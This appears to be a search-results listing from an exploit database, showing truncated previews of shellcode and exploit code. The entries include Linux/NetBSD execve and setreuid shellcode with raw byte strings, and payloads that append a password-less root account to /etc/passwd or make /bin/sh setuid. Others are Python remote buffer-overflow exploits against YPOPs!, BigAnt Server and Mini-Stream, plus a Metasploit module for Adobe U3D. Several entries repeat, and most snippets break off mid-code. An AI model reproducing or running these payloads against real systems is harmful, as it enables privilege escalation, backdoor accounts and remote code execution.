7304 matches found
netbsd/x86 setreuid(0 0)
No description provided by source. / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; note: unsafe shellcode, but 29 bytes long; doesn't work if eax & 0x40000000 != 0; / include sys/types.h include stdio.h include string.h char scode = "\x99" //...
linux/x86 execve(""/bin/ash"" 0 0)
No description provided by source. / 21 byte execve"/bin/ash",0,0; shellcode for linux x86 by zasta zasta at darkircop.org / include unistd.h include stdio.h char shellcode = "\x31\xc9\xf7\xe1\x04\x0b\x52\x68" "\x2f\x61\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xcd\x80"; void code asm" xor %ecx,%ecx...
linux/x86 if(read(fd buf 512)<=2) _exit(1) else buf()
No description provided by source. / h3ll-core.c by Charles Stevenson [email protected] I made this as a chunk you can paste in to make modular remote exploits. I use it as a first stage payload when I desire to follow up with a real large payload of goodness. This actually is a bit larger than...
linux/x86 add root user r00t with no password to
No description provided by source. / By Kris Katterjohn 11/14/2006 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd for Linux/x86 section .text global start start: ; open"/etc//passwd", OWRONLY | OAPPEND push byte 5 pop eax xor ecx, ecx push ecx push 0x64777373 push...
linux/x86 read(0 buf 2541)
No description provided by source. / readnchmod-core.c by Charles Stevenson [email protected] Example of strace output if you pass in "/bin/sh\x00" read0, "/bin/sh\0", 2541 = 8 chmod"/bin/sh", 04755 = 0 Any file path can be given. For example: /tmp/.sneakyguy The only caveat is that the string must...
YPOPs! v0.9.7.3 Buffer Overflow (SEH)
Exploit for unknown platform in category dos / poc ===================================== YPOPs! v0.9.7.3 Buffer Overflow SEH ===================================== Version:0.9.7.3 Tested on: Windows XP SP3 !/usr/bin/python All modules are SafeSEH protected in service pack 3. import socket, sys pri...
BigAnt Server v2.52 Remote Buffer Overflow Exploit 2
No description provided by source. !/usr/bin/python BigAnt Server 2.52 remote buffer overflow exploit 2 Author: DouBleZer0 Vulnerability discovered by Lincoln a another version of the original exploit by Lincoln application is little hazy.. import sys,socket host = sys.argv1 buffer= "\x90" 20...
Windows XP Pro Sp2 English "Wordpad" Shellcode
No description provided by source. view source print? +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. | +-------------------------------------------------+ Size : 12 Bytes,Null Free. Author : Aodrulez. Email : [email protected] Milw0rm :...
Windows XP Pro Sp2 English "Message-Box" Shellcode
No description provided by source. +-----------------------------------------------------+ | Windows XP Pro Sp2 English "Message-Box" Shellcode. | +-----------------------------------------------------+ Size : 16 Bytes, Null-Free. Author : Aodrulez. Email : [email protected] Shellcode =...
linux/x86 append "/etc/passwd" & exit() 107 bytes
No description provided by source. view source print? / appendpasswd.c Payload: Adds the string: toor::0:0:t00r:/root:/bin/bash to /etc/passwd thereby adding a password-less root account with login name "toor" Platform: linux/x86 Size: 107 bytes Author: $andman / / 08049054 start: 8049054: eb 38...
Windows XP Pro Sp2 English "Message-Box" Shellcode
Windows XP Pro Sp2 English "Message-Box" Shellcode. Shellcode exploit for windows platform +-----------------------------------------------------+ | Windows XP Pro Sp2 English "Message-Box" Shellcode. | +-----------------------------------------------------+ Size : 16 Bytes, Null-Free. Author :...
win32/xp Pro Sp2 English "Wordpad" Shellcode
Exploit for win32 platform in category shellcode ============================================ win32/xp Pro Sp2 English "Wordpad" Shellcode ============================================ +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. |...
win32/xp Pro Sp2 English "Message-Box" Shellcode
Exploit for win32 platform in category shellcode ================================================ win32/xp Pro Sp2 English "Message-Box" Shellcode ================================================ +-----------------------------------------------------+ | Windows XP Pro Sp2 English "Message-Box"...
Windows XP Pro Sp2 English "Wordpad" Shellcode
Windows XP Pro Sp2 English "Wordpad" Shellcode. Shellcode exploit for windows platform +-------------------------------------------------+ | Windows XP Pro Sp2 English "Wordpad" Shellcode. | +-------------------------------------------------+ Size : 12 Bytes,Null Free. Author : Aodrulez. Email :...
BigAnt Server 2.52 - Remote Buffer Overflow (2)
BigAnt Server 2.52 - Remote Buffer Overflow 2 !/usr/bin/python BigAnt Server 2.52 remote buffer overflow exploit 2 Author: DouBleZer0 Vulnerability discovered by Lincoln a another version of the original exploit by Lincoln application is little hazy.. import sys,socket host = sys.argv1 buffer=...
Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' require 'zlib' class Metasploit3...
linux/x86 append "/etc/passwd" & exit 107 bytes
linux/x86 append "/etc/passwd" & exit 107 bytes. Shellcode exploit for linx86 platform / appendpasswd.c Payload: Adds the string: toor::0:0:t00r:/root:/bin/bash to /etc/passwd thereby adding a password-less root account with login name "toor" Platform: linux/x86 Size: 107 bytes Author: $andman / ...
linux/x86 append "/etc/passwd" & exit() 107 bytes
Exploit for linux/x86 platform in category shellcode ================================================= linux/x86 append "/etc/passwd" & exit 107 bytes ================================================= / appendpasswd.c Payload: Adds the string: toor::0:0:t00r:/root:/bin/bash to /etc/passwd thereby...
linux/x86 append ""/etc/passwd"" & exit() 107 bytes
No description provided by source. / appendpasswd.c Payload: Adds the string: toor::0:0:t00r:/root:/bin/bash to /etc/passwd thereby adding a password-less root account with login name "toor" Platform: linux/x86 Size: 107 bytes Author: $andman / / 08049054 start: 8049054: eb 38 jmp 804908e callfun...
Mini-Stream Buffer Overflow
!/usr/bin/python ...:| Code Fix/Patch for WinXP - English |:... Referenced: http://www.exploit-db.com/exploits/10745 - mrme and fixed the offset as well as tested the exploit against WinXP SP2 and SP3 Exploit against Mini-Stream 3.0.1.1 WinXP English 12.27.2009 Author: Ron Henry -...